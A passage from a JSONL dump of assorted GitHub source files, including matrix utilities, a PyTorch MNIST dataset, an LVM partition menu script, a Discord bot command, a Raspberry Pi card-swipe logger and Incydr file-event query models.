proj(a.getcolumn(i).T(),b.getcolumn(j).T())\n b.setcolumn((a.getcolumn(i) - tmp.T()).T(),i)\n for i in range(b.shape()[0]):\n b.setcolumn(b.getcolumn(i)/(b.getcolumn(i).norm()),i)\n return b\n\n def shape(self):\n return (len(self.data), len(self.data[0]))\ndef proj(a,b):\n if (a.shape()[0] != 1) or (a.shape() != b.shape()):\n raise 'Only for vectors!'\n ab = (a*b.T()).data[0][0]\n bb = (b*b.T()).data[0][0]\n answer = (ab/bb)*b\n return answer\n","repo_name":"KKKutuzov/matrix_calc","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"19738143134","text":"import os\n\nimport numpy as np\nfrom PIL import Image\nfrom torch.utils.data import Dataset\n\n\nclass MNISTDataset(Dataset):\n def __init__(self, root_folder, transform=None):\n self.transform = transform\n\n self.image_paths, self.labels = self.get_image_paths_and_labels(root_folder)\n\n def get_image_paths_and_labels(self, root_folder):\n image_paths = []\n labels = []\n for label in os.listdir(root_folder):\n folder = os.path.join(root_folder, label)\n for image_name in os.listdir(folder):\n image_paths.append(os.path.join(folder, image_name))\n labels.append(label)\n return image_paths, labels\n\n def __len__(self):\n return len(self.image_paths)\n\n def __getitem__(self, idx):\n image = self.load_image(self.image_paths[idx])\n label = self.labels[idx]\n\n if self.transform:\n image = self.transform(image)\n\n return image, int(label)\n\n def load_image(self, image_path):\n image = Image.open(image_path)\n image = image.convert(\"L\")\n image = image.resize((28, 28))\n image = np.array(image)\n return image\n","repo_name":"thanhhau097/mlops","sub_path":"modeling/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"2351435682","text":"from CollectUtils import *\n\nnp.random.seed(42)\nfile_ex = \"Data/BurgersExact.txt\"\nexact_solution = np.loadtxt(file_ex)\n\nbase_path_list = [\"RarefactionWave\"]\n\nfor base_path in base_path_list:\n print(\"#################################################\")\n print(base_path)\n\n b = False\n directories_model = [d for d in os.listdir(base_path) if os.path.isdir(os.path.join(base_path, d))]\n sensitivity_df = pd.DataFrame()\n selection_criterion = \"metric\"\n eval_metric = \"rel_L2_norm\"\n threshold = 0.005\n plot_color = \"reset-freq\"\n mode = \"min\"\n mode_ret = \"mean\"\n\n Nu_list = []\n Nf_list = []\n\n L2_norm = []\n criterion = []\n best_retrain_list = []\n list_models_setup = list()\n\n for subdirec in directories_model:\n print(subdirec)\n model_path = base_path\n\n sample_path = model_path + \"/\" + subdirec\n retrainings_fold = [d for d in os.listdir(sample_path) if os.path.isdir(os.path.join(sample_path, d))]\n\n retr_to_check_file = None\n for ret in retrainings_fold:\n print(sample_path + \"/\" + ret + \"/EnsembleInfo.csv\")\n if os.path.isfile(sample_path + \"/\" + ret + \"/EnsembleInfo.csv\"):\n retr_to_check_file = ret\n break\n\n setup_num = int(subdirec.split(\"_\")[1])\n if retr_to_check_file is not None:\n info_model = pd.read_csv(sample_path + \"/\" + retr_to_check_file + \"/EnsembleInfo.csv\", header=None, sep=\",\", index_col=0)\n info_model = info_model.transpose().reset_index().drop(\"index\", 1)\n best_retrain = select_over_retrainings(sample_path, selection=selection_criterion, mode=mode_ret, exact_solution=exact_solution)\n best_retrain = best_retrain.to_frame()\n best_retrain = best_retrain.transpose().reset_index().drop(\"index\", 1)\n info_model = pd.concat([info_model, best_retrain], 1)\n info_model[\"setup\"] = setup_num\n sensitivity_df = sensitivity_df.append(info_model, ignore_index=True)\n else:\n print(sample_path + \"/Information.csv not found\")\n\n sensitivity_df = sensitivity_df.sort_values(selection_criterion)\n\n if mode == \"min\":\n best_setup = sensitivity_df.iloc[0]\n elif mode == \"max\":\n best_setup = sensitivity_df.iloc[-1]\n else:\n raise ValueError()\n # print(sensitivity_df)\n print(\"Best Setup:\", best_setup[\"setup\"])\n print(best_setup)\n best_setup.to_csv(base_path + \"/best.csv\", header=0, index=True)\n\n sensitivity_df = sensitivity_df.rename(columns={'reset_freq': 'reset-freq'})\n\n plt.figure()\n plt.grid(True, which=\"both\", ls=\":\")\n sns.scatterplot(data=sensitivity_df, x=selection_criterion, y=eval_metric, hue=plot_color)\n\n plt.xlabel(r'$\\varepsilon_T$')\n plt.ylabel(r'$\\varepsilon$')\n plt.xscale(\"log\")\n plt.yscale(\"log\")\n plt.savefig(base_path + \"/et_vs_eg_\" + selection_criterion + \"_\" + mode_ret + \".png\", dpi=400)\n","repo_name":"mroberto166/wpinns","sub_path":"CollectEnsembleData.py","file_name":"CollectEnsembleData.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"25555566730","text":"from pycp2k.inputsection import InputSection\nfrom ._acc1 import _acc1\n\n\nclass _dbcsr1(InputSection):\n def __init__(self):\n InputSection.__init__(self)\n self.Mm_stack_size = None\n self.Mm_driver = None\n self.Avg_elements_images = None\n self.Num_mult_images = None\n self.Use_mpi_allocator = None\n self.Use_mpi_rma = None\n self.Num_layers_3d = None\n self.N_size_mnk_stacks = None\n self.Use_comm_thread = None\n self.Max_elements_per_block = None\n self.Comm_thread_load = None\n self.Multrec_limit = None\n self.ACC = _acc1()\n self._name = \"DBCSR\"\n self._keywords = {'Mm_stack_size': 'MM_STACK_SIZE', 'Avg_elements_images': 'AVG_ELEMENTS_IMAGES', 'Comm_thread_load': 'COMM_THREAD_LOAD', 'Use_comm_thread': 'USE_COMM_THREAD', 'Num_layers_3d': 'NUM_LAYERS_3D', 'Multrec_limit': 'MULTREC_LIMIT', 'Num_mult_images': 'NUM_MULT_IMAGES', 'Mm_driver': 'MM_DRIVER', 'Use_mpi_allocator': 'USE_MPI_ALLOCATOR', 'N_size_mnk_stacks': 'N_SIZE_MNK_STACKS', 'Max_elements_per_block': 'MAX_ELEMENTS_PER_BLOCK', 'Use_mpi_rma': 'USE_MPI_RMA'}\n self._subsections = {'ACC': 'ACC'}\n\n","repo_name":"SINGROUP/pycp2k","sub_path":"pycp2k/classes/_dbcsr1.py","file_name":"_dbcsr1.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"7"} +{"seq_id":"34314481104","text":"import os \nprint(\"\\t\\t\\tWelcome to partitions menu\")\nprint(\"\\t\\t\\t--------------------------\")\nprint(\"\"\"\n\\n\nPress 1 : To show all partitions \nPress 2 : To create a physical volume\nPrres 3 : To display all the physical volume\nPress 4 : To create a volume group \nPress 5 : To display all the volume groups\nPress 6 : To create a lv partition\nPress 7 : To display all the lv partitions\nPress 8 : To format the partition\nPress 9 : To mount the partition\nPress 10 : To resize a lv partition\nPress 11 : To format only the resized partition\n\"\"\")\nch = input(\"Enter your choice:\")\n\nif int(ch)==1:\n\tos.system(\"fdisk -l\")\nelif int(ch)==2:\n\tdisk1= input(\"Enter disk name:\")\n\tdisk2= input(\"Enter disk name:\")\n\tos.system(\"pvcreate {} {}\".format(disk1,disk2))\nelif int(ch)==3:\n\tos.system(\"pvdisplay\")\nelif int(ch)==4:\n\tvg= input(\"Enter volume group name:\")\n\tdiskvg1= input(\"Enter disk to create vg with:\")\n\tdiskvg2= input(\"Enter disk to create vg with:\")\n\tos.system(\"vgcreate {} {} {}\".format(vg,diskvg1,diskvg2))\nelif int(ch)==5:\n\tos.system(\"vgdisplay\")\nelif int(ch)==6:\n\tlv= input(\"Enter vg name:\")\n\tsize= input(\"Enter size of the lv to create:\")\n\tname= input(\"Enter name of the lv:\")\n\tos.system(\"lvcreate --size {} --name {} {}\".format(size,name,lv))\nelif int(ch)==7:\n\tos.system(\"lvdisplay\")\nelif int(ch)==8:\n\tdir= input(\"Enter the location to be formatted:\")\n\tos.system(\"mkfs.ext4 {}\".format(dir))\nelif int(ch)==9:\n\tmount= input(\"Enter a partition to mount:\")\n\tnode= input(\"Enter a dir to mount:\")\n\tos.system(\"mount {} {}\".format(mount,node))\nelif int(ch)==10:\n\tum= input(\"Enter partition to unmount:\")\n\tdis= input(\"Enter disk name to resize again:\")\n\tos.system(\"umount {}\".format(um))\n\tos.system(\"fdisk {}\".format(dis))\nelif int(ch)==11:\n\tdi= input(\"Enter partition to examine filesystems and format:\")\n\tos.system(\"e2fsck -f {}\".format(di))\n\tos.system(\"resize2fs {}\".format(di))\nelse:\n\tprint(\"Enter valid number\")\n","repo_name":"TeamArth/Task_codes","sub_path":"part.py","file_name":"part.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1857573195","text":"from django import forms\n\nclass CreateForm(forms.Form):\n network_name = forms.CharField(max_length=15)\n CHOICES = [('overlay', 'overlay'), ('bridge', 'bridge')]\n driver = forms.ChoiceField(choices=CHOICES, widget=forms.RadioSelect)\n attachable = forms.BooleanField(required=False)\n\nclass RemoveForm(forms.Form):\n network_name = forms.CharField(max_length=15)\n\n","repo_name":"gwarang/s2cm","sub_path":"network/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"75087747103","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('first_blog', '0001_initial'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='author',\n old_name='user_first_name',\n new_name='user_name',\n ),\n migrations.RemoveField(\n model_name='author',\n name='user_last_name',\n ),\n migrations.AlterField(\n model_name='author',\n name='password',\n field=models.CharField(max_length=200),\n ),\n ]\n","repo_name":"Uzzije/djangopractice","sub_path":"first_blog/migrations/0002_auto_20150619_1414.py","file_name":"0002_auto_20150619_1414.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25269065588","text":"import cobble.command\nimport cobble.validations\nimport discord\nimport databaseManager as dbm\nfrom customcommands.customvalidations import *\n\nimport neatTables\n\nclass SetupCommand(cobble.command.Command):\n capitalisations = {\"sensitivity\": \"Sensitivity\", \"mouse\": \"Mouse\", \"keyboard\": \"Keyboard\", \"dpi\": \"DPI\", \"hz\": \"Hz\"}\n order = {\"sensitivity\": 2, \"mouse\": 4, \"keyboard\": 5, \"dpi\": 1, \"hz\": 3}\n def __init__(self, bot: cobble.bot.Bot):\n \"\"\"\n Parameters:\n bot - The bot object the command will belong to\n \"\"\"\n\n super().__init__(bot, \"Setup\", \"setup\", \"See a player's setup\", cobble.permissions.EVERYONE)\n self.addArgument(cobble.command.Argument(\"name\", \"The name of the user whose profile you want to see\", cobble.validations.IsString(), True))\n\n\n async def execute(self, messageObject: discord.message, argumentValues: dict, attachedFiles: dict) -> str:\n \"\"\"\n Show the recorded setup for a given player\n Parameters:\n messageObject - the object corresponding to the message that triggered the command\n argumentValues - a dictionary containing values for every argument provided, keyed to the argument name\n Returns:\n response - A string response containing a list of the player's setup elements\n \"\"\"\n\n\n\n if len(argumentValues.keys()) == 0:\n if not dbm.userAlreadyRegistered(messageObject.author.id):\n return \"User must be registered!\"\n runnerID = dbm.getTolAccountID(discordID=messageObject.author.id)\n runnerName = messageObject.author.name\n\n else:\n runnerID = dbm.getTolIDFromName(argumentValues['name'])\n if not runnerID:\n return f\"No account associated with {argumentValues['name']}!\"\n runnerName = argumentValues['name']\n\n\n \n setup = dbm.getSetupFromTolID(runnerID)\n if setup == False:\n return \"User has no setup information recorded!\\nAdd some with the `updatesetup` command!\"\n\n\n\n setupDict = {}\n \n for entry in setup:\n element = self.capitalisations[entry[0]]\n setupDict[element] = entry[1]\n\n \n setupDict = dict(sorted(setupDict.items(), key= lambda item: self.order[item[0].lower()]))\n\n if \"Sensitivity\" in setupDict.keys() and \"DPI\" in setupDict.keys():\n edpi = round(int(setupDict[\"DPI\"])*float(setupDict[\"Sensitivity\"]), 3)\n setupDict[\"Effective DPI\"] = edpi\n\n\n\n response = f\"{runnerName}'s setup:\\n```\"\n\n tableData = []\n for type in setupDict.keys():\n tableData.append([type, str(setupDict[type])])\n\n response += neatTables.generateTable(tableData)\n response += \"```\"\n return response","repo_name":"William-Carter/ThatOtherLeaderboard","sub_path":"customcommands/Setup.py","file_name":"Setup.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34942571841","text":"import sys, os\nsys.path.insert(1, os.path.join(sys.path[0], '..'))\n\nimport csv\nfrom Utils.pca_utils import *\nimport Core\n\ndef main ():\n #points = readPointsFromFile(\"PolygonPoints.txt\") ##read strykjarnet from file\n\n buildings_path = \"by_get_shp/by_get\" ##read points from datahandler\n propertys_path = \"ay_get_shp/ay_get\"\n las_path = \"datafromndr/norrkoping.las\"\n data_handler = DataHandler(buildings_path,propertys_path,las_path)\n property_id = 1343\n points = getPointsFromDatahandler(data_handler, property_id, 2)\n \n points = removeOutliers(points, mode='sor', max=2)\n planes = []\n\n ang = 40\n curv = 0.8\n normals, curvatures = calculateNomalsCurvatures(points)\n regions = findRegions(points, maxangle=ang, curvaturefactor=curv, prints=False)\n #removeWallRegions(regions, normals, wallangle=80)\n\n\n printRegions(points, [region for region in regions[:] if len(region) > 0])\n\n for region in regions: # project points to planes\n planeq = getPlaneLSQ(points[region])\n planes.append(planeq)\n projectPointsToPlane(points, region, planeq)\n\n printRegions(points, [region for region in regions[:] if len(region) > 0])\n #large, small = separateRegions(regions, 8)\n\n #for region in [regions[i] for i in large]:\n # planeq = getPlaneLSQ(points[region])\n # planes.append(planeq)\n # #projectPointsToPlane(points, region, planeq)\n\n #printRegions(points, [regions[i] for i in large])\n\n\n #for small_region_idx in small:\n\n # for point_idx in regions[small_region_idx]:\n # dists = pointToRegionsDistances(points[point_idx], points, [regions[i] for i in large])\n # val, idx = min((val, idx) for (idx, val) in enumerate(dists))\n # if (val < 3.250):\n # #small_region = regions[small_region_idx]\n # closest_large_region_idx = large[idx]\n # regions[closest_large_region_idx].append(point_idx)\n \n #for i in large:\n # projectPointsToPlane(points, regions[i], planes[i])\n \n #large, small = separateRegions(regions, 8)\n #printRegions(points, [regions[i] for i in large])\n #printRegions(points, [regions[i] for i in small])\n\n #_ , density = convexHull(points)\n #print (\"Density: \",density)\n\n\nif __name__ == \"__main__\":\n # execute only if run as a script\n main()","repo_name":"udde/pybuildings","sub_path":"Sandboxes/pca_sandbox.py","file_name":"pca_sandbox.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1429995068","text":"#!/usr/bin/python3\nimport requests\nimport json\nimport hashlib\nimport dateutil.parser\nimport config as cfg\nimport dictionary\nimport RPi.GPIO as GPIO\nimport time\nimport threading\nimport urllib.request\nfrom RPLCD.gpio import CharLCD\nfrom datetime import datetime,timezone\nfrom evdev import InputDevice, categorize, ecodes\n\n# INITIALIZATION ####################################################################################\nroundsDisplay = CharLCD(cols=16, rows=2, pin_rs=3, pin_e=5, pins_data=[7,11,13,15,19,21,23,29])\ndev = InputDevice('/dev/input/event0')\n\nglobal isInUse\nisInUse = False\nwaitTime = 1800\n\ndef startMessage():\n roundsDisplay.clear()\n roundsDisplay.write_string('Ready to Party!')\n time.sleep(2)\n roundsDisplay.clear()\n\ndef getHashValue(value):\n hashValue = (hashlib.sha1(value.encode())).hexdigest()\n return hashValue\n\ndev.grab()\ndef getCardNumber():\n x = ''\n caps = False\n\n for event in dev.read_loop():\n if event.type == ecodes.EV_KEY:\n data = categorize(event) # Save the event temporarily to introspect it\n if data.scancode == 42:\n if data.keystate == 1:\n caps = True\n if data.keystate == 0:\n caps = False\n if data.keystate == 1: # Down events only\n if caps:\n key_lookup = u'{}'.format(dictionary.capscodes.get(data.scancode)) or u'UNKNOWN:[{}]'.format(data.scancode) # Lookup or return UNKNOWN:XX\n else:\n key_lookup = u'{}'.format(dictionary.scancodes.get(data.scancode)) or u'UNKNOWN:[{}]'.format(data.scancode) # Lookup or return UNKNOWN:XX\n if (data.scancode != 42) and (data.scancode != 28):\n x += key_lookup\n if(data.scancode == 28):\n return x\n\n# START OF FUNCTIONALITY #############################################################################\nstartMessage()\n\ninternetConnected = False\n\nroundsDisplay.clear()\nroundsDisplay.write_string('Connecting to Network...')\n\nwhile (not internetConnected):\n try:\n response=urllib.request.urlopen(\"https://google.com\",timeout=1)\n internetConnected = True;\n except urllib.request.URLError:\n continue\n\nroundsDisplay.clear()\nroundsDisplay.write_string('Connected to Network!')\ntime.sleep(2)\n\ntimestamp = str(int(time.time()))\npreHash = cfg.path + timestamp + cfg.secret\nheaderInfo = {'X-API-Key-UUID': cfg.apiUUID, 'X-API-Key-TS': timestamp, 'X-API-Key' : getHashValue(preHash) };\nr = requests.get(cfg.path, headers = headerInfo)\nq = r.json()\nlatestTime = dateutil.parser.parse(q[\"station\"][\"lastSwipe\"])\n\nglobal lastRound\nlastRound = latestTime\n\n# THREAD DEFINITIONS #################################################################################\ndef IdleDisplayThread():\n while True:\n currentTime = datetime.now()\n\n global lastRound\n lastRound = lastRound.replace(tzinfo=None)\n deltaTime = (currentTime-lastRound).total_seconds()\n lastRoundDisplay = datetime.strftime(lastRound, \"%b %-d %-I:%M %p\")\n if (deltaTime >= waitTime):\n if not isInUse:\n roundsDisplay.clear()\n roundsDisplay.write_string('Swipe Card Rounds Needed!')\n else:\n if not isInUse:\n roundsDisplay.clear()\n roundsDisplay.write_string('Last Swipe: ' + lastRoundDisplay)\n time.sleep(3)\n\ndef MainThread():\n\n while True:\n cardSwipeData = getCardNumber()\n roundsDisplay.clear()\n cardID = cardSwipeData[19:24] if len(cardSwipeData) >= 25 else \"00000\"\n if(cardID is \"00000\"):\n roundsDisplay.clear()\n global isInUse\n isInUse = True\n roundsDisplay.write_string('Please Swipe Again!')\n time.sleep(1)\n isInUse = False\n continue\n\n currentTime = datetime.now().replace(microsecond=0)\n timestamp = str(int(time.time()))\n preHash = cfg.path + timestamp + cfg.secret\n headerInfo = {'X-API-Key-UUID': cfg.apiUUID, 'X-API-Key-TS': timestamp, 'X-API-Key' : getHashValue(preHash)};\n r = requests.get(cfg.path, headers = headerInfo)\n q = r.json()\n latestTime = dateutil.parser.parse(q[\"station\"][\"lastSwipe\"])\n latestTime = latestTime.replace(tzinfo=None)\n tooSoon = (currentTime-latestTime).total_seconds()\n\n if tooSoon >= waitTime:\n payload = {'memorial_number': str(cardID)}\n timestamp = str(int(time.time()))\n preHash = cfg.path + timestamp + cfg.secret + json.dumps(payload, separators=(',', ':'))\n payload = {'payload': payload}\n headerInfo = {'X-API-Key-UUID': cfg.apiUUID, 'X-API-Key-TS': timestamp, 'X-API-Key' : getHashValue(preHash) };\n r = requests.post(cfg.path, json = payload, headers = headerInfo)\n print(r.status_code)\n print(r.text)\n\n if (r.status_code == 200):\n roundsDisplay.clear()\n isInUse = True\n fullName = ((json.loads(r.text))[\"user\"][\"name\"])\n firstName = fullName[(fullName.find(\",\") + 2):]\n roundsDisplay.write_string(\"Swipe Accepted \" + firstName +\"!\")\n time.sleep(2)\n isInUse = False\n global lastRound\n lastRound = datetime.now().replace(microsecond=0)\n\n elif (r.status_code == 400):\n roundsDisplay.clear()\n isInUse = True\n roundsDisplay.write_string('Swipe Not Accepted')\n time.sleep(2)\n isInUse = False\n\n elif (r.status_code == 401):\n roundsDisplay.clear()\n isInUse = True\n roundsDisplay.write_string('User Not Authorized!')\n time.sleep(2)\n isInUse = False\n\n else:\n roundsDisplay.clear()\n isInUse = True\n roundsDisplay.write_string(\"Error: \" + str(r.status_code))\n time.sleep(2)\n isInUse = False\n\n\n elif tooSoon < waitTime:\n roundsDisplay.clear()\n roundsDisplay.write_string('Swiped Too Soon')\n time.sleep(3)\n\n\n# STARTING THREADS ##########################################################################################\nthreads = []\nt = threading.Thread(target=MainThread)\nthreads.append(t)\nt.start();\n\nu = threading.Thread(target=IdleDisplayThread)\nthreads.append(u)\nu.start();","repo_name":"hnbrake/checkpoint-device","sub_path":"rounds.py","file_name":"rounds.py","file_ext":"py","file_size_in_byte":6615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37113227047","text":"import dash\nimport dash_bootstrap_components as dbc\n\n\nPAGE_ID = \"BROWSE\"\n\n\nlayout = dbc.Col([\n dash.html.Br(),\n dash.html.H3(\"BROWSE\", style={\"textAlign\": \"center\"}),\n dash.html.Br(),\n dash.dcc.Markdown(\"詳細なデータを可視化したページです。\"),\n dash.dcc.Markdown(\"まだ見ないでよ。\"),\n dbc.Button(\"HOMEに戻る\", color=\"dark\", href=\"/\")\n])\n","repo_name":"ikumyn1or0/uraradi_archive","sub_path":"src/pages/browse.py","file_name":"browse.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40141290107","text":"'''\nTest if parallel computing works\nTask: i-th process sends i to (i+1)-th process\n\n'''\n\nfrom mpi4py import MPI\n\ncomm = MPI.COMM_WORLD\nsize = comm.Get_size()\nrank = comm.Get_rank()\n\n# Start the timer\nif rank == 0:\n start_time = MPI.Wtime()\n\n# Calculate the ranks of the sending and receiving processes\nsend_rank = (rank + 1) % size\nrecv_rank = (rank - 1) % size\n\n# Send the rank to the next process\ncomm.send(rank, dest=send_rank)\n\n# Receive the rank from the previous process\nreceived_rank = comm.recv(source=recv_rank)\n\n# Print the received rank\n# print(\"Process\", rank, \"received rank\", received_rank)\n\nnode_name = MPI.Get_processor_name()\nprint(node_name)\n\n# Stop the timer \nif rank == 0:\n end_time = MPI.Wtime()\n execution_time = end_time - start_time\n print(\"Total execution time:\", execution_time, \"seconds\")","repo_name":"dragonInNY/ASODS","sub_path":"tests/auxillary_tests/parallel_test.py","file_name":"parallel_test.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"4217117455","text":"from io import StringIO\nimport numpy as np\n\n\"\"\"\nHelper functions for IDFParser unit tests\n\"\"\"\n\n\ndef dict_compare(d1, d2):\n \"\"\"\n Return True if the two dictionaries are equal,\n supports values containing numpy arrays\n\n :param d1: first dictionary\n :param d2: second dictionary\n :return: True if dictionaries are equal, False otherwise\n \"\"\"\n d1_keys = set(d1.keys())\n d2_keys = set(d2.keys())\n intersect_keys = d1_keys.intersection(d2_keys)\n same = set(\n o for o in intersect_keys if np.array_equal(np.array(d1[o]), np.array(d2[o]))\n )\n return (len(d1_keys) == len(d2_keys)) and (len(d1_keys) == len(same))\n\n\ndef create_fake_idf_file(\n instrument_name=\"TEST\",\n source_name=None,\n sample=None,\n defaults=None,\n monitor_name=None,\n structured_detector=None,\n detector=None,\n rectangular_detector=None,\n custom_location=None,\n):\n \"\"\"\n Create a fake IDF, in-memory, file object for use in unit tests of the IDF parser\n\n :param instrument_name: A name for the instrument\n :param source_name: A name for the source\n :param sample: Dictionary with \"name\" and \"position\" of the sample\n :param defaults: Dictionary with \"length_units\" and \"angle_units\"\n :param monitor_name: A name for a monitor\n :param structured_detector: Dictionary with \"name\" and \"type\" for a structured detector\n :param detector: Dictionary with pixel and detector component information\n :param rectuangular_detector: Dictionary with parameters for a rectangular detector\n :param custom_location: Custom location element for a component\n :return: Python file object\n \"\"\"\n fake_idf_file = StringIO()\n\n # instrument\n fake_idf_file.write(\n '\\n'\n '\\n'\n )\n\n if source_name is not None:\n __write_source(fake_idf_file, source_name)\n if sample is not None:\n __write_sample(fake_idf_file, sample)\n if defaults is not None:\n __write_defaults(defaults, fake_idf_file)\n if monitor_name is not None:\n __write_monitors(fake_idf_file, monitor_name)\n if structured_detector is not None:\n __write_structured_detector(fake_idf_file, structured_detector)\n if detector is not None:\n __write_detector(fake_idf_file, detector)\n if rectangular_detector is not None:\n __write_rectangular_detector(\n fake_idf_file, rectangular_detector, custom_location\n )\n\n fake_idf_file.write(\"\\n\")\n fake_idf_file.seek(0) # So that the xml parser reads from the start of the file\n return fake_idf_file\n\n\ndef __write_rectangular_detector(fake_idf_file, detector, custom_location):\n __write_detector_pixel(fake_idf_file, detector[\"pixel\"])\n __write_rectangular_detector_type(fake_idf_file, detector)\n __write_rectangular_detector_component(fake_idf_file, detector, custom_location)\n\n\ndef __write_rectangular_detector_type(fake_idf_file, detector):\n fake_idf_file.write(\n ' \\n'\n \" \\n\"\n )\n\n\ndef __write_rectangular_detector_component(\n fake_idf_file, detector, custom_location=None\n):\n if not custom_location:\n location = r''\n else:\n location = custom_location\n\n if \"idstart\" in detector.keys() and \"idstep\" in detector.keys():\n fake_idf_file.write(\n ' \\n'\n f\" {location}\\n\"\n \" \\n\"\n )\n else:\n fake_idf_file.write(\n ' \\n'\n f\" {location}\\n\"\n \" \\n\"\n )\n\n\ndef __write_detector(fake_idf_file, detector):\n __write_detector_pixel(fake_idf_file, detector[\"pixel\"])\n __write_detector_component(fake_idf_file, detector[\"pixel\"][\"name\"])\n __write_detector_panel(fake_idf_file)\n __write_idlist(fake_idf_file)\n\n\ndef __write_idlist(fake_idf_file):\n fake_idf_file.write(\n '\\n' ' \\n' \"\\n\"\n )\n\n\ndef __write_detector_panel(fake_idf_file):\n fake_idf_file.write(\n '\\n'\n ' \\n'\n \"\\n\"\n )\n\n\ndef __write_detector_component(fake_idf_file, pixel_name):\n fake_idf_file.write(\n '\\n'\n ' \\n'\n ' \\n'\n ' \\n'\n ' \\n'\n \" \\n\"\n \"\\n\"\n )\n\n\ndef __write_detector_pixel(fake_idf_file, pixel):\n fake_idf_file.write(\n '\\n'\n + __create_pixel_shape(pixel[\"shape\"])\n + \"\\n\"\n )\n\n\ndef __create_pixel_shape(pixel_shape):\n if pixel_shape[\"shape\"] == \"cylinder\":\n return (\n ' \\n'\n ' \\n'\n ' \\n'\n ' \\n'\n ' \\n'\n \" \\n\"\n )\n if pixel_shape[\"shape\"] == \"cuboid\":\n return (\n ' '\n ' '\n ' '\n ' '\n ' '\n \" \"\n )\n\n return \"<\" + pixel_shape[\"shape\"] + \">\\n\"\n\n\ndef __write_structured_detector(fake_idf_file, structured_detector):\n fake_idf_file.write(\n '\\n'\n ' \\n'\n \"\"\n )\n fake_idf_file.write(\n '\\n'\n )\n for vertex in structured_detector[\"vertices\"]:\n fake_idf_file.write(\n ' \\n'\n )\n fake_idf_file.write(\" \\n\" '')\n\n\ndef __write_monitors(fake_idf_file, monitor_name):\n fake_idf_file.write(\n '\\n'\n )\n fake_idf_file.write(\n ''\n '\\n'\n )\n fake_idf_file.write(\n ' '\n '\\n'\n )\n fake_idf_file.write('\\n')\n\n\ndef __write_defaults(defaults, fake_idf_file):\n fake_idf_file.write(\n ''\n '\\n'\n )\n\n\ndef __write_sample(fake_idf_file, sample):\n fake_idf_file.write(\n ''\n )\n fake_idf_file.write('\\n')\n\n\ndef __write_source(fake_idf_file, source_name):\n fake_idf_file.write('\\n')\n fake_idf_file.write(\n '\\n'\n )\n","repo_name":"ess-dmsc/python-nexus-utilities","sub_path":"tests/idfhelper.py","file_name":"idfhelper.py","file_ext":"py","file_size_in_byte":10028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6040173558","text":"from datetime import datetime\nfrom datetime import timedelta\nfrom typing import List\nfrom typing import Optional\nfrom typing import Union\n\nfrom isodate import duration_isoformat\nfrom isodate import parse_duration\nfrom pydantic import BaseModel\nfrom pydantic import conint\nfrom pydantic import Field\nfrom pydantic import root_validator\nfrom pydantic import validate_arguments\n\nfrom _incydr_sdk.core.models import Model\nfrom _incydr_sdk.enums.file_events import Category\nfrom _incydr_sdk.enums.file_events import EventAction\nfrom _incydr_sdk.enums.file_events import EventSearchTerm\nfrom _incydr_sdk.enums.file_events import FileCategory\nfrom _incydr_sdk.enums.file_events import Operator\nfrom _incydr_sdk.enums.file_events import ReportType\nfrom _incydr_sdk.enums.file_events import RiskIndicators\nfrom _incydr_sdk.enums.file_events import RiskSeverity\nfrom _incydr_sdk.enums.file_events import ShareType\nfrom _incydr_sdk.enums.file_events import TrustReason\nfrom _incydr_sdk.file_events.models.response import SavedSearch\nfrom _incydr_sdk.queries.utils import parse_ts_to_ms_str\n\n_term_enum_map = {\n \"file.category\": FileCategory,\n \"event.action\": EventAction,\n \"source.category\": Category,\n \"destination.category\": Category,\n \"event.shareType\": ShareType,\n \"report.type\": ReportType,\n \"risk.indicators.name\": RiskIndicators,\n \"risk.severity\": RiskSeverity,\n \"risk.trustReason\": TrustReason,\n}\n\n\nclass Filter(BaseModel):\n term: EventSearchTerm\n operator: Operator\n value: Optional[Union[int, str]]\n\n class Config:\n use_enum_values = True\n\n @root_validator(pre=True)\n def _validate_enums(cls, values: dict): # noqa `root_validator` is a classmethod\n term = values.get(\"term\")\n operator = values.get(\"operator\")\n value = values.get(\"value\")\n\n # make sure `term` is valid enum value\n EventSearchTerm(term)\n\n if operator in (Operator.EXISTS, Operator.DOES_NOT_EXIST):\n values[\"value\"] = None\n return values\n\n if operator in (Operator.IS, Operator.IS_NOT):\n if not isinstance(value, (str, int)):\n raise ValueError(\n f\"`IS` and `IS_NOT` filters require a `str | int` value, got term={term}, operator={operator}, value={value}.\"\n )\n\n # check that value is a valid enum for that search term\n enum = _term_enum_map.get(term)\n if enum:\n try:\n values.update(\n {\"value\": enum[value.upper()]}\n ) # check if enum name is passed as a value\n except KeyError:\n enum(value)\n\n return values\n\n\nclass 